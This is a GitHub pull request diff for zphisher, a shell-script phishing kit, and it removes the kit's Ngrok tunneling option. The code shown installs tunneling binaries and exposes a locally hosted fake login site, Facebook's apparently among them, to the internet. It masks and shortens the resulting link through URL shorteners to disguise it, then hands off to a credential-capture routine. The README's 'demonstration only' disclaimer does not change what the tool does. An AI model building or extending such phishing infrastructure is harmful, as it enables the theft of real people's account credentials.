Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

update /fb_advanced/login.html or add as new page idk. #729

Closed
wants to merge 3 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,6 @@ It only demonstrates "how phishing works". <b>You shall not misuse the informati
- Beginners friendly
- Multiple tunneling options
- Localhost
- Ngrok
- Cloudflared
- LocalXpose
- Mask URL support
Expand Down
55 changes: 5 additions & 50 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -153,7 +153,7 @@ reset_color() {

## Kill already running process
kill_pid() {
check_PID="php ngrok cloudflared loclx"
check_PID="php cloudflared loclx"
for process in ${check_PID}; do
if [[ $(pidof ${process}) ]]; then # Check for Process
killall ${process} > /dev/null 2>&1 # Kill the Process
Expand Down Expand Up @@ -300,25 +300,6 @@ download() {
fi
}

## Install ngrok
install_ngrok() {
if [[ -e ".server/ngrok" ]]; then
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed."
else
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE}
arch=`uname -m`
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz' 'ngrok'
elif [[ "$arch" == *'aarch64'* ]]; then
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.tgz' 'ngrok'
elif [[ "$arch" == *'x86_64'* ]]; then
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz' 'ngrok'
else
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-386.tgz' 'ngrok'
fi
fi
}

## Install Cloudflared
install_cloudflared() {
if [[ -e ".server/cloudflared" ]]; then
Expand Down Expand Up @@ -468,28 +449,6 @@ capture_data() {
done
}

## Start ngrok
start_ngrok() {
cusport
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
{ sleep 1; setup_site; }
echo -e "\n"
read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
[[ ${opinion,,} == "y" ]] && ngrok_region="eu" || ngrok_region="us"
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."

if [[ `command -v termux-chroot` ]]; then
sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
else
sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
fi

sleep 8
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)')
custom_url "$ngrok_url"
capture_data
}

## Start Cloudflared
start_cloudflared() {
rm .cld.log > /dev/null 2>&1 &
Expand Down Expand Up @@ -565,9 +524,8 @@ tunnel_menu() {
cat <<- EOF

${RED}[${WHITE}01${RED}]${ORANGE} Localhost
${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Account Needed${RED}]
${RED}[${WHITE}03${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}]
${RED}[${WHITE}04${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}]
${RED}[${WHITE}02${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}]
${RED}[${WHITE}03${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}]

EOF

Expand All @@ -577,10 +535,8 @@ tunnel_menu() {
1 | 01)
start_localhost;;
2 | 02)
start_ngrok;;
3 | 03)
start_cloudflared;;
4 | 04)
3 | 03)
start_loclx;;
*)
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
Expand Down Expand Up @@ -625,7 +581,7 @@ custom_url() {
tinyurl="https://tinyurl.com/api-create.php?url="

{ custom_mask; sleep 1; clear; banner_small; }
if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then
if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then
if [[ $(site_stat $isgd) == 2* ]]; then
shorten $isgd "$url"
elif [[ $(site_stat $shortcode) == 2* ]]; then
Expand Down Expand Up @@ -950,7 +906,6 @@ main_menu() {
kill_pid
dependencies
check_status
install_ngrok
install_cloudflared
install_localxpose
main_menu
Loading